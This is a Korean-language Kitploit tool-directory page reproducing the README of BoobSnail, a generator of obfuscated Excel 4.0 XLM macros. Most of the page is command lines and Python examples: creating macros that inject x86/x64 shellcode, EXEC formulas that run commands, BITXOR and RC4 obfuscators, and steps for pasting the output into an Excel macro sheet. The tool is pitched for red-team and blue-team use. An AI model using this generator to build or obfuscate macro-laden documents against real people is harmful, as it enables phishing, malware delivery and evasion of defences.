Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
boobsnail — 레드 팀 운영 및 블루 팀 분석을 위한 난독화된 Excel 4.0 XLM 매크로 생성 도구로, 다중 감염 기술, 수식 번역, 라이브러리 기반 사용자 정의 생성기를 지원합니다. | Kitploit
도구/GitHubGitHub/stmcyber/boobsnail
Phishing ToolsPayload GenerationPenetration TestingSocial EngineeringRed Teaming
GitHubstmcyber/boobsnail

boobsnail

레드 팀 운영 및 블루 팀 분석을 위한 난독화된 Excel 4.0 XLM 매크로 생성 도구로, 다중 감염 기술, 수식 번역, 라이브러리 기반 사용자 정의 생성기를 지원합니다.

저장소 보기
256491년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

License

저희를 Twitter에서 팔로우하세요!

BoobSnail

BoobSnail은 XLM(Excel 4.0) 매크로를 생성할 수 있게 해줍니다. 그 목적은 RedTeam과 BlueTeam이 XLM 매크로 생성을 지원하는 것입니다. 기능:

  • 다양한 감염 기술;
  • 다양한 난독화 기술;
  • 수식을 영어 외의 다른 언어로 번역;
  • 라이브러리로 사용 가능 - 자신만의 생성기를 쉽게 작성할 수 있습니다.

빌드 및 실행

테스트됨: Python 3.8.7rc1

root@kitploit:~
pip install -r requirements.txt
python boobsnail.py
___.                ___.     _________             .__.__
\_ |__   ____   ____\_ |__  /   _____/ ____ _____  |__|  |
 | __ \ /  _ \ /  _ \| __ \ \_____  \ /    \__  \ |  |  |
 | \_\ (  <_> |  <_> ) \_\ \/        \   |  \/ __ \|  |  |__
 |___  /\____/ \____/|___  /_______  /___|  (____  /__|____/
     \/                  \/        \/     \/     \/
     Author: @_mzer0 @stm_cyber
     (...)

생성기 사용법

root@kitploit:~
python boobsnail.py <generator> -h

사용 가능한 생성기를 보려면 다음을 입력하세요:

root@kitploit:~
python boobsnail.py

예제

x64 또는 x86 셸코드를 주입하는 난독화된 매크로 생성:

root@kitploit:~
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv

calc.exe를 실행하는 난독화된 매크로 생성:

root@kitploit:~
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv

Excel에 출력 저장

  1. 출력을 CSV 파일로 덤프합니다.
  2. CSV 파일의 내용을 복사합니다.
  3. Excel을 실행하고 새 워크시트를 만듭니다.
  4. 새 Excel 4.0 매크로를 추가합니다(Sheet1을 마우스 오른쪽 버튼으로 클릭 -> 삽입 -> MS Excel 4.0 매크로).
  5. A1 또는 R1C1 셀에 내용을 붙여넣습니다.
  6. 데이터 -> 텍스트 나누기를 클릭합니다.
  7. 다음을 클릭하고 구분 기호로 세미콜론을 설정한 후 마침을 클릭합니다.

라이브러리 사용법

BoobSnail은 excel4lib 라이브러리를 제공하여 자신만의 Excel4 매크로 생성기를 만들 수 있게 합니다. excel4lib에는 생성기 작성 시 사용할 수 있는 몇 가지 클래스가 포함됩니다:

  • excel4lib.macro.Excel4Macro - Excel4 수식, 값 변수를 정의할 수 있습니다;
  • excel4lib.macro.obfuscator.Excel4Obfuscator - Excel4Macro에서 생성된 명령어를 난독화할 수 있습니다;
  • excel4lib.lang.Excel4Translator - 수식을 다른 언어로 번역할 수 있습니다.

이 라이브러리의 주요 아이디어는 Excel4 수식, 변수, 수식 인수 및 값을 파이썬 객체로 표현하는 것입니다. 덕분에 수식이나 변수 이름, 값, 주소 등 명령어 속성을 쉽게 변경할 수 있습니다. 예를 들어, calc.exe를 실행하는 간단한 매크로를 만들어 보겠습니다.

root@kitploit:~
from excel4lib.macro import *
# Create macro object
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

결과:

root@kitploit:~
cmd="calc.exe";
=EXEC(cmd);

이제 매크로를 난독화하고 싶다고 가정해 봅시다. 이렇게 하려면 난독화기를 가져와 Excel4Macro 객체에 전달하기만 하면 됩니다:

root@kitploit:~
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

현재 excel4lib는 두 가지 난독화 클래스를 제공합니다:

  • excel4lib.macro.obfuscator.Excel4Obfuscator는 BITXOR, SUM 등 Excel 4.0 함수를 사용하여 매크로를 난독화합니다;
  • excel4lib.macro.obfuscator.Excel4Rc4Obfuscator는 RC4 암호화를 사용하여 수식을 난독화합니다.

보시다시피 자신만의 난독화 클래스를 작성하여 Excel4Macro에서 사용할 수 있습니다.

때로는 매크로를 다른 언어(예: 모국어, 제 경우 폴란드어)로 번역해야 할 수도 있습니다. excel4lib를 사용하면 매우 쉽습니다. Excel4Translator 클래스를 가져와 set_language를 호출하기만 하면 됩니다.

root@kitploit:~
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Change language
Excel4Translator.set_language("pl_PL")
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

결과:

root@kitploit:~
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);

현재는 영어와 폴란드어만 지원됩니다. 다른 언어를 사용하려면 excel4lib/lang/langs 디렉토리에 번역을 추가해야 합니다.

분명히 인수로 다른 수식을 취하는 수식을 만들어야 할 때가 있을 것입니다. Excel4Macro.argument 함수를 사용하여 이 작업을 수행할 수 있습니다.

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
macro.formula("EXEC", exec_arg)
# Dump to CSV
print(macro.to_csv())

결과:

root@kitploit:~
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));

보시다시피 ".exe" 문자열이 R2C1로 CONCATENATE 수식에 전달되었습니다. R2C1은 ".exe" 값의 주소입니다(ROW 번호 2, COLUMN 번호 1). excel4lib는 수식, 값에 대한 참조를 주소로 반환합니다. 변수에 대한 참조는 해당 이름으로 반환됩니다. Excel4Macro 클래스는 수식, 변수, 값을 이러한 객체가 생성된 순서대로 워크시트에 자동으로 추가하며 시작 주소는 R1C1임을 알아차리셨을 것입니다. 수식을 다른 열이나 행에 배치하려면 어떻게 해야 할까요? Excel4Macro.set_cords 함수를 호출하면 됩니다.

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Column 1
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Column 2
# Change cords to columns 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
exec_call = macro.formula("EXEC", exec_arg)
# Column 1
# Back to column 1. Change cords to column 1 and row 3
macro.set_cords(1,3)
# GOTO EXEC call
macro.goto(exec_call)
# Dump to CSV
print(macro.to_csv())

결과:

root@kitploit:~
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;

저자

mzer0 (stm_cyber 팀)!

관련 글

Excel 4.0 for Red Team 첫걸음

BoobSnail - Excel 4.0 매크로 생성기

도구 다운로드